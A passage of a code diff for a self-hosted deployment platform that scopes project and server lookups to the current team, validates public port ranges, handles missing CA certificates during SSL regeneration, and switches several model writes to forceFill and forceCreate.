function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resourceable_id' => $newService->id, 'resourceable_type' => $newService->getMorphClass(), ]); @@ -298,9 +299,9 @@ public function clone(string $type) } foreach ($newService->applications() as $application) { - $application->update([ + $application->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $application->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -315,7 +316,8 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $application->id, ]); @@ -344,7 +346,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $application->id, ]); $newStorage->save(); @@ -352,9 +354,9 @@ public function clone(string $type) } foreach ($newService->databases() as $database) { - $database->update([ + $database->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $database->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -369,7 +371,8 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $database->id, ]); @@ -398,7 +401,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $database->id, ]); $newStorage->save(); @@ -411,7 +414,7 @@ public function clone(string $type) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $database->id, 'database_type' => $database->getMorphClass(), diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index 9de75c1c5..ffce8c9bd 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -34,9 +34,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public ?string $customDockerRunOptions = null; @@ -81,7 +81,7 @@ protected function rules(): array 'image' => 'required|string', 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', @@ -102,6 +102,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -119,8 +121,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index d35e57a9d..2e6c9dca7 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -34,9 +34,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public ?string $customDockerRunOptions = null; @@ -92,7 +92,7 @@ protected function rules(): array 'image' => 'required|string', 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', @@ -112,6 +112,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -128,8 +130,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; @@ -276,8 +278,8 @@ public function regenerateSslCertificate() } SslHelper::generateSslCertificate( - commonName: $existingCert->commonName, - subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], + commonName: $existingCert->common_name, + subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], resourceType: $existingCert->resource_type, resourceId: $existingCert->resource_id, serverId: $existingCert->server_id, diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index adb4ccb5f..235e34e20 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -36,9 +36,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public ?string $customDockerRunOptions = null; @@ -95,7 +95,7 @@ protected function rules(): array 'image' => 'required|string', 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', @@ -117,6 +117,8 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -134,8 +136,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->enable_ssl = $this->enable_ssl; @@ -269,9 +271,20 @@ public function regenerateSslCertificate() ->where('is_ca_certificate', true) ->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( - commonName: $existingCert->commonName, - subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], + commonName: $existingCert->common_name, + subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], resourceType: $existingCert->resource_type, resourceId: $existingCert->resource_id, serverId: $existingCert->server_id, diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 14240c82d..47e0fd091 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -42,9 +42,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -80,7 +80,7 @@ protected function rules(): array 'image' => 'required', 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -100,6 +100,8 @@ protected function messages(): array 'mariadbDatabase.required' => 'The MariaDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] @@ -159,8 +161,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -289,6 +291,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 11419ec71..6a3726371 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -40,9 +40,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -79,7 +79,7 @@ protected function rules(): array 'image' => 'required', 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -99,6 +99,8 @@ protected function messages(): array 'mongoInitdbDatabase.required' => 'The MongoDB Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-full.', @@ -158,8 +160,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -297,6 +299,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 4f0f5eb19..750be4ce7 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -42,9 +42,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -82,7 +82,7 @@ protected function rules(): array 'image' => 'required', 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -103,6 +103,8 @@ protected function messages(): array 'mysqlDatabase.required' => 'The MySQL Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: PREFERRED, REQUIRED, VERIFY_CA, VERIFY_IDENTITY.', @@ -164,8 +166,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -301,6 +303,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 4e044672b..8feb9bd22 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -46,9 +46,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -94,7 +94,7 @@ protected function rules(): array 'image' => 'required', 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -114,6 +114,8 @@ protected function messages(): array 'postgresDb.required' => 'The Postgres Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-ca, verify-full.', @@ -179,8 +181,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -264,6 +266,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index ebe2f3ba0..e131bc598 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -34,9 +34,9 @@ class General extends Component public ?bool $isPublic = null; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isLogDrainEnabled = false; @@ -75,7 +75,7 @@ protected function rules(): array 'image' => 'required', 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', @@ -93,6 +93,8 @@ protected function messages(): array 'name.required' => 'The Name field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPort.min' => 'The Public Port must be at least 1.', + 'publicPort.max' => 'The Public Port must not exceed 65535.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'redisUsername.required' => 'The Redis Username field is required.', @@ -148,8 +150,8 @@ public function syncData(bool $toModel = false) $this->database->image = $this->image; $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; - $this->database->public_port = $this->publicPort; - $this->database->public_port_timeout = $this->publicPortTimeout; + $this->database->public_port = $this->publicPort ?: null; + $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -282,9 +284,20 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( - commonName: $existingCert->commonName, - subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], + commonName: $existingCert->common_name, + subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], resourceType: $existingCert->resource_type, resourceId: $existingCert->resource_id, serverId: $existingCert->server_id, diff --git a/app/Livewire/Project/DeleteProject.php b/app/Livewire/Project/DeleteProject.php index a018046fd..d95041c2d 100644 --- a/app/Livewire/Project/DeleteProject.php +++ b/app/Livewire/Project/DeleteProject.php @@ -21,7 +21,7 @@ class DeleteProject extends Component public function mount() { $this->parameters = get_route_parameters(); - $this->projectName = Project::findOrFail($this->project_id)->name; + $this->projectName = Project::ownedByCurrentTeam()->findOrFail($this->project_id)->name; } public function delete() @@ -29,7 +29,7 @@ public function delete() $this->validate([ 'project_id' => 'required|int', ]); - $project = Project::findOrFail($this->project_id); + $project = Project::ownedByCurrentTeam()->findOrFail($this->project_id); $this->authorize('delete', $project); if ($project->isEmpty()) { diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 634a012c0..99fb2efc4 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -41,8 +41,8 @@ public function submit() // Validate for command injection BEFORE saving to database validateDockerComposeForInjection($this->dockerComposeRaw); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); $destination_uuid = $this->query['destination']; $destination = StandaloneDocker::where('uuid', $destination_uuid)->first(); @@ -54,7 +54,7 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $service = Service::create([ + $service = Service::forceCreate([ 'docker_compose_raw' => $this->dockerComposeRaw, 'environment_id' => $environment->id, 'server_id' => (int) $server_id, diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index 8aff83153..8becdf585 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -121,8 +121,8 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); // Append @sha256 to image name if using digest and not already present $imageName = $parser->getFullImageNameWithoutTag(); @@ -133,7 +133,7 @@ public function submit() // Determine the image tag based on whether it's a hash or regular tag $imageTag = $parser->isImageHash() ? 'sha256-'.$parser->getTag() : $parser->getTag(); - $application = Application::create([ + $application = Application::forceCreate([ 'name' => 'docker-image-'.new Cuid2, 'repository_project_id' => 0, 'git_repository' => 'coollabsio/coolify', diff --git a/app/Livewire/Project/New/EmptyProject.php b/app/Livewire/Project/New/EmptyProject.php index 0360365a9..1cdc7e098 100644 --- a/app/Livewire/Project/New/EmptyProject.php +++ b/app/Livewire/Project/New/EmptyProject.php @@ -10,7 +10,7 @@ class EmptyProject extends Component { public function createEmptyProject() { - $project = Project::create([ + $project = Project::forceCreate([ 'name' => generate_random_name(), 'team_id' => currentTeam()->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 61ae0e151..6aa8db085 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -8,6 +8,7 @@ use App\Models\StandaloneDocker; use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; +use App\Support\ValidationPatterns; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Route; use Livewire\Component; @@ -168,7 +169,7 @@ public function submit() 'selected_repository_owner' => 'required|string|regex:/^[a-zA-Z0-9\-_]+$/', 'selected_repository_repo' => 'required|string|regex:/^[a-zA-Z0-9\-_\.]+$/', 'selected_branch_name' => ['required', 'string', new ValidGitBranch], - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), ]); if ($validator->fails()) { @@ -185,10 +186,10 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); - $application = Application::create([ + $application = Application::forceCreate([ 'name' => generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name), 'repository_project_id' => $this->selected_repository_id, 'git_repository' => str($this->selected_repository_owner)->trim()->toString().'/'.str($this->selected_repository_repo)->trim()->toString(), diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index e46ad7d78..ba058c6ff 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -11,6 +11,7 @@ use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; +use App\Support\ValidationPatterns; use Illuminate\Support\Str; use Livewire\Component; use Spatie\Url\Url; @@ -66,7 +67,7 @@ protected function rules() 'is_static' => 'required|boolean', 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), ]; } @@ -144,8 +145,8 @@ public function submit() // Note: git_repository has already been validated and transformed in get_git_source() // It may now be in SSH format (git@host:repo.git) which is valid for deploy keys - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); if ($this->git_source === 'other') { $application_init = [ 'name' => generate_random_name(), @@ -182,7 +183,7 @@ public function submit() $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; } - $application = Application::create($application_init); + $application = Application::forceCreate($application_init); $application->settings->is_static = $this->is_static; $application->settings->save(); diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 3df31a6a3..6bd71d246 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -11,6 +11,7 @@ use App\Models\SwarmDocker; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; +use App\Support\ValidationPatterns; use Carbon\Carbon; use Livewire\Component; use Spatie\Url\Url; @@ -72,7 +73,7 @@ protected function rules() 'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), 'git_branch' => ['required', 'string', new ValidGitBranch], ]; } @@ -233,7 +234,7 @@ private function getBranch() return; } - if ($this->git_source->getMorphClass() === \App\Models\GithubApp::class) { + if ($this->git_source->getMorphClass() === GithubApp::class) { ['rate_limit_remaining' => $this->rate_limit_remaining, 'rate_limit_reset' => $this->rate_limit_reset] = githubApi(source: $this->git_source, endpoint: "/repos/{$this->git_repository}/branches/{$this->git_branch}"); $this->rate_limit_reset = Carbon::parse((int) $this->rate_limit_reset)->format('Y-M-d H:i:s'); $this->branchFound = true; @@ -278,8 +279,8 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $project_uuid)->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $environment_uuid)->first(); + $project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->firstOrFail(); + $environment = $project->environments()->where('uuid', $environment_uuid)->firstOrFail(); if ($this->build_pack === 'dockercompose' && isDev() && $this->new_compose_services) { $server = $destination->server; @@ -298,7 +299,7 @@ public function submit() $new_service['source_id'] = $this->git_source->id; $new_service['source_type'] = $this->git_source->getMorphClass(); } - $service = Service::create($new_service); + $service = Service::forceCreate($new_service); return redirect()->route('project.service.configuration', [ 'service_uuid' => $service->uuid, @@ -345,7 +346,7 @@ public function submit() $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; } - $application = Application::create($application_init); + $application = Application::forceCreate($application_init); $application->settings->is_static = $this->isStatic; $application->settings->save(); diff --git a/app/Livewire/Project/New/Select.php b/app/Livewire/Project/New/Select.php index c5dc13987..165e4b59e 100644 --- a/app/Livewire/Project/New/Select.php +++ b/app/Livewire/Project/New/Select.php @@ -65,7 +65,7 @@ public function mount() $this->existingPostgresqlUrl = 'postgres://coolify:password@coolify-db:5432'; } $projectUuid = data_get($this->parameters, 'project_uuid'); - $project = Project::whereUuid($projectUuid)->firstOrFail(); + $project = Project::ownedByCurrentTeam()->whereUuid($projectUuid)->firstOrFail(); $this->environments = $project->environments; $this->selectedEnvironment = $this->environments->where('uuid', data_get($this->parameters, 'environment_uuid'))->firstOrFail()->name; @@ -79,7 +79,7 @@ public function mount() $this->type = $queryType; $this->server_id = $queryServerId; $this->destination_uuid = $queryDestination; - $this->server = Server::find($queryServerId); + $this->server = Server::ownedByCurrentTeam()->find($queryServerId); $this->current_step = 'select-postgresql-type'; } } catch (\Exception $e) { diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php index 9cc4fbbe2..400b58fea 100644 --- a/app/Livewire/Project/New/SimpleDockerfile.php +++ b/app/Livewire/Project/New/SimpleDockerfile.php @@ -45,14 +45,14 @@ public function submit() } $destination_class = $destination->getMorphClass(); - $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); - $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); + 